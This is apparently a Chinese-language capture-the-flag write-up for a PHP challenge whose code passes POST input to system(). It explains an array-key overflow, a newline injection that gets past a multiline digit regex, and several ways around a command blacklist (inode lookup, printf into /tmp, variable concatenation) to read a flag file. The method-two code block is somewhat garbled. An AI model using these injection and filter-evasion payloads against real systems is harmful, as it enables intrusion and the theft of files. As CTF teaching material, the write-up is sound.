Writeup
题目代码量还是比较少的,而且为了方便大家调试,也是给到了php的版本号。
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
可以很清楚看到,基本就三个验证需要绕过
- 数组比较
- 第一次正则绕过
- 第二次正则绕过
数组比较
先来看第一个,要求我们传入的数组和$array相等,并且此时用的是强等于。其次要求数组的第0位不等于admin。但在强等的条件下,第0位又必须等于admin。此时的bypass方案是,数组key溢出,此时构造4294967296即为0。
故如下payload绕过第一重验证
stuff[4294967296]=admin&stuff[1]=user
第一次正则绕过
接下来,来看第一次正则,其实这个正则,乍一看,感觉很严格。通过^与$限制了首尾,并且中间只允许\d,也就是数字。
preg_match("/^\d+$/im",$num)
这里的问题,出现在后面指令m身上,指令m表示允许匹配多行。假设我们传入两行数据
123444
helloworld
此时他会先对第一行进行匹配,再对第二行进行匹配。可以看到我们这里因为第一行为数字,所以肯定正确匹配。我们构造如下payload即可。
num=123333%0a ls
第二次正则绕过
紧接着就是最后一步,这行正则的意思是, 不能出现如下字符。
!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)
可以看到,基本能用的都没了。
在这里给大家展示几种方法
方法一:使用inode
# 列出当前文件列表,取出inode ls -i / # 通过find找到对应inode的文件,并通过tac进行读取 tac `find / -inum 3673632`
方法二: 使用printf将命令写入文件后执行
``bash printf /fla > /tmp/hello printf g >> /tmp/hello tac
tac /tmp/hello`
printf /fla > /tmp/hello %26%26 printf g >> /tmp/hello %26%26 tac tac /tmp/hello

- 方法三:设置环境变量,拼接后执行
```bash
a=f;d=ag;c=l;tac /$a$c$d